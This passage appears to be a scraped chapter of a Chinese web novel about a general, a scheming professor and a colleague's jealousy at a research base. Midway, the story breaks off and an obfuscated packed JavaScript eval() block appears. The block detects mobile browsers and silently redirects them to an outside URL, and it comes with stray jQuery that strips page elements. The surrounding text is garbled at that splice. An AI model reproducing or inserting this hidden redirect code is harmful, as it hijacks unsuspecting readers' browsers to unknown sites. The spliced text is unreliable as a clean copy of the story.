雨陆陆续续下了快两天才停下来。
阳光穿透清晨薄雾，光线勾照出无数细小粒子，透洒到大街，模糊了可见度。晨阳没有温度，冬日的阳光更为冷漠，寒风一来，吹散冷气，街上行人裹紧了外套。
临时中心十二楼，林塑在自个儿的办公位上，处理着各项杂务。
净除工程研发室各设备已成功试运行，空间基地修建完成，姜岩那边再过几天也准备登舰。
林塑在想，自己要不要也去空间基地看看，顺便瞧瞧他们曾经的联合基地被摧残成什么样了。专组送研究人员的星舰是要回来的，他去的话，只是顺个路而已，也不浪费人力物力。
他想着，写了份拟定方案，正要给议员发下去时，门口忽然多了几抹身影。
沈珐未和严屿。
沈珐未这次不再空手，而是学着虞今越带了瓶好酒。
林塑看着桌上的东西，往后一仰，危险的视线扫向沈珐未：“沈教授这算什么？”
有了前两天虞今越告诉的那些“秘闻”，林塑看他的眼神多了分耐人寻味。不过，配合沈珐未这张斯文无害的脸，真的很难和虞今越说的危险人物联系起来。
沈珐未笑说：“家里收藏的，我猜上将应该会喜欢。”
林塑不开腔，心里冷嗤一声。连他不喜欢这东西都不知道，还开始照猫画虎了。沈珐未唇角依然保持轻扬的弧度，声音轻柔：“上次我说的事，上将考虑清楚了吗？”
“我还是那句话，”林塑说，“采集室离不开人。”
沈珐未意料之中地点了点头，说：“当然，您不答应也没关系，我有自己的手段。”
大概是察觉到他话里威胁的意思，向一泊本能地挡在了林塑跟前，全神戒备。就连严屿也轻蹙眉头，挪着步子离他远了些。
“那你还来多余问我这一嘴？”林塑有些语塞。
“我只是想得到上将的支持。”沈珐未低头笑，一脸人畜无害，“我看上将一点都不惊讶，看来虞组和你说过一些有关我的传闻，对吗？”
林塑说：“我只是觉得沈教授的气质所非常人，自然是有一定手腕的。”
沈珐未看了看他跟前的向一泊，宽慰似的说：“你不承认也没关系，我气量很大的。但传言误耳乱心，这个所谓的‘组长’名头我也早就推拒，上将对我不要有偏见才好。”
“容我多问一句，”林塑说，“你这次想去研发室是为什么？大家坦诚一点。”
沈珐未双手插兜，下巴埋在围巾里，一副文质彬彬的模样：“坦诚地说，能和上将接触的机会多，所以上将重心在哪儿我就想去哪儿。”
林塑不信他的鬼话，说：“研发工程对于我们基地很重要，不管你是出于什么原因什么心理，计划工程不容许有差池。”
“上将放心，我能揽下这件事儿，总不会是去使绊子的。”
“沈教授最好……”林塑视线如水，语气变得意味深长，“不要搞事情。”
“当然。”沈珐未儒雅一笑，“那就这么定了，我过两天就去研发室。”
林塑不再吭声，这件事定不定他说了不算，沈珐未来说这么一通，就是自己做了主了。他同意与否，沈珐未也不会听他的。
大概目的达到，沈珐未心情大好，嘴角就没放下过。
他转身离开，刚走几步又回头：“对了上将，有个问题想问您，您有女朋友吗？”
语气十分礼貌，但问出的问题就很没礼貌了。
林塑也看出来了，这人是真的来者不善，不管他问出这种问题是真心还是为迷惑自己掩饰动机，林塑不大想和这种笑面虎打交道，于是应付说：“有。”
“是吗？”沈珐未意味深然，心里仿佛出现一个人选，“专组的人？”
“基地的，沈教授不认识，不用打听了。”林塑埋头处理事务，下了一道隐形的逐客令。
沈珐未笑说：“那下次请你们吃饭，上将一定要带上对象来赏个脸。”
林塑随口“嗯”了一声。
等人走了，林塑才抬起眼，看了眼空落落的门口，觉得心堵。他不找麻烦，麻烦却找上门来，真是难搞，比柯璨还难应付。
旁边，严屿皱皱眉，心神不定地说：“首长，他在采集室不这样的。”
虽然接触不多，但根据采集室工作人员对沈珐未的评价来看，全是正面积极又向上的，严屿还从来没见过他咄咄逼人、笑里藏刀的模样。
“狐狸藏不住尾巴了。”虽然不知道是什么狐狸，林塑也得提防一下，“你以后带人多往研发室走走，替我看紧他。”
“是。”严屿说完，话头一转，“要通知虞组那边吗？”
林塑发送的指尖一顿，两秒后回神，恢复如初。
他将拟定方案发给议员那边后，又叫了孔易诚来收集纸质版资料。
这一通忙活完后，他看了眼不动如山的向一泊，才对严屿说：“我会去的。”
严屿点了点头。
岿然不动的向一泊额角渗出一丝莫名冷汗。
因为林塑犹豫的功夫里，虞今越那头已经将这头的情况知道了个一清二楚，这得归功于岿然不动的他。
向一泊不像郝望，用着拙劣又易被逮的汇报方法，刚刚沈珐未进来的时候，他就第一时间拉响警报，拨通和虞今越的电话。
毕竟，前两天虞今越从林塑家里离开前，对他如雷贯耳的吩咐还回荡在脑海——“把人看好，尤其是那个沈珐未在的时候，只要林塑半径十米之内有他，提起戒备心，然后立刻通知我。”
至于为什么如雷贯耳，因为就连刚倒下去睡觉的郝望都被虞今越薅起来语重心长地交代了一番。
而这会儿虞今越正坐在办公室，对着林塑刚刚口里的那个“女朋友”沉思琢磨。
有种失恋的感觉，虽然他就没恋过……
这头，林塑和严屿还在交谈。
林塑问严屿：“还有什么事吗？”
严屿垂在双侧的手空攥着，说：“我想问问，戴组长这段时间，没有来打扰过您吧？”
“没有。”
说来，除了在技术组的时候，林塑就没见过戴明禄了。
严屿放心点了下头：“没有就好。”余光瞭他，“那几件衣服——”
“挺合身的，谢谢。”
严屿赧然一笑，正要开口，孔易诚就来了。
孔易诚进门就瞅见他，甚是兴高采烈，上来就撞了撞他肩膀，自然而然勾肩搭背起来，眉飞嘴扬地问：“怎么突然上来了？我还想着这两天没什么大事儿了，找你们聚一聚呢。”
严屿哼笑一声，装作用劲儿锤了下他胸口，玩笑说：“上来看看你有没有认真办事。”
他这会倒是放得开了，林塑不禁回想起他在自己跟前的模样，低眉顺眼、小心翼翼，难不成自己在严屿眼里真是阎王级别的存在？
可都是从城防军过来的兄弟，在基地出生入死，也算是过命的交情，不应该啊……
想到这儿，林塑顺了口气，对着严屿说：“改天来家里吃饭，我叫阿姨来做。”
严屿一怔，眼底闪过一抹光，唇角翕动：“真、真的吗？”
林塑说：“嗯，你俩，再叫上彭烈。”
严屿眼睛又闪了下，仍是笑着的，只是弧度浅了些：“好。”
“真的假的？”孔易诚也笑，眼睛明亮，“那就过两天周末！我还没去过首长家呢，让我去见识见识。”
“行了，别在我这儿凑着了，该忙什么忙什么去。”林塑开始赶人，“你们谁记得通知一下彭烈。”
“行！”孔易诚拿起文件，勾着严屿往外走，“我等会儿就给他说。”
两人走前，林塑还把沈珐未带来的那瓶酒塞给孔易诚。上次虞今越拿来没喝完的，他已经送给郝望了。这次，他是不想再让这玩意儿进家了。
过了两天，议会给出了的具体方案，林塑就抱着文件找虞今越去。他要想去空间基地，议会决定后，他还得向专组请示。
林塑一进办事大楼的电梯，就碰巧遇见同样去六十九层的祁洋。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691491|173370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
两人相视一顿，然后点头示意招呼。
电梯合上后，祁洋问：“上将也去找老虞？”
“嗯，有份文件要他签字。”林塑看着电梯门上的祁洋，“空间基地和星舰准备的事儿，辛苦你们了。”
“应该的，好在这两天工作收尾，没那么忙。”祁洋说，“等把你们的研究人员送去空间基地了，咱们也彻底闲下来了。”
林塑点了点头，问：“到时候负责星舰运行的是你吗？”
“不是我。不过，”祁洋想到什么轻咳一声，挺直身杆，昂首挺胸，“你放心，咱们飞行基组都是专业的，不会存在谁不靠谱的情况。”
林塑看他孔雀开屏的模样，神色不动地点了下头。
六十九层来往人少，除了几个特殊会议室，就是虞今越和柯璨的办公室，平时没什么重要的事，一般工作人员也不会来六十九层晃悠。
但虞今越办公室门口，却多了个面生的人。
“我是虞组的助手，叫我小盈就好。”
林塑心里调侃，看来，虞今越这个自封的强者还是向工作低头，蔫吧了。
他正要踏步进去，小盈却拦着他不让，笑吟吟地解释说：“虞组说他在戒色。”
“？”林塑一脸莫名其妙，“所以呢？跟我有什么关系？我来找他签字。”
“他说不让长得好看的人进。”小盈说，“您要是有什么工作上的事，可以去找柯副组，那里也是一样。”
林塑没什么反应，祁洋只听前半截就勃然变色：“那为什么我之前来就没拦过我？”
小盈神秘微笑，微微鞠躬。
虞今越在搞什么飞机？林塑不在这儿耽搁，拐了个角往柯璨办公室走去，心想，这该不会是他躲自己的借口吧？不就是批评了几句，至于闹到这个地步吗？这人忒小气了吧？
心理这么脆弱，他们上局的精英人才一眼完蛋啊……
他走后，祁洋怒冲冲地奔进办公室，拍桌质问：“老虞！你之前怎么没跟我说你招那助手还给你拦截美色？”
虞今越呼吸一顿，抬头，无辜眨眼：“他来了么？”
“……什么？”祁洋反应过来，“你专门拦他的啊？”
“嗯，找个靠谱的借口而已。”
祁洋脸色难看，想问一句——你听听这靠谱吗？
他稍微缓和了下，好奇询问：“你拦他做什么？他最近惹你了？”
“倒也不是……”虞今越拧眉细想，说得半真半假，“我怀疑他身上有放射性物质，我一靠近他就浑身刺挠，所以离他远点好。”
祁洋一言难尽地扫量他，当他在放屁。基地所有人的落地检查都没问题，要真有什么放射性物质，是不可能进得了容格的。
但他觉得虞今越这么做有一定道理，也就没多追问。
确实有他的道理，虞今越觉得——有女朋友就该保持距离。
虽然他这两天把林塑的背调信息看了个遍，也没找到他口中“女朋友”的信息，但毕竟没领证，没有实质关系证明，万一人家之前偷摸搞地下情，没人知道也正常……
虞今越活动了下手腕，视线一动不动看着空表，心里莫名焦灼。怎么还不联系我？就算朋友的角度，也该问个所以然吧？
忽然，他问：“他走了吗？”
祁洋说：“找柯副组去了。”
“……哦。”虞今越站起身，无所事事地张了下肩膀，一会儿摆弄窗帘，一会儿又去摆弄花饰，转了一圈又晃悠到办公室门口，踱步不前。
他晃得祁洋眼睛疼，不得不发出灵魂质问：“你长痔疮了吗这么坐不住？”
“……你闭嘴。”虞今越瞪他一眼，手不自觉摸上耳机。
滴一声响，对面登时传来玻璃碎声，紧接着是柯璨带着情绪的声音：“其实我也没想多为难你，但是这是你该有的态度吗？”
他话刚说完，就是一阵猛烈撞击声。
虞今越神色微变，心中一凛，想也不想开了门跑出去，直愣愣地冲向柯璨办公室。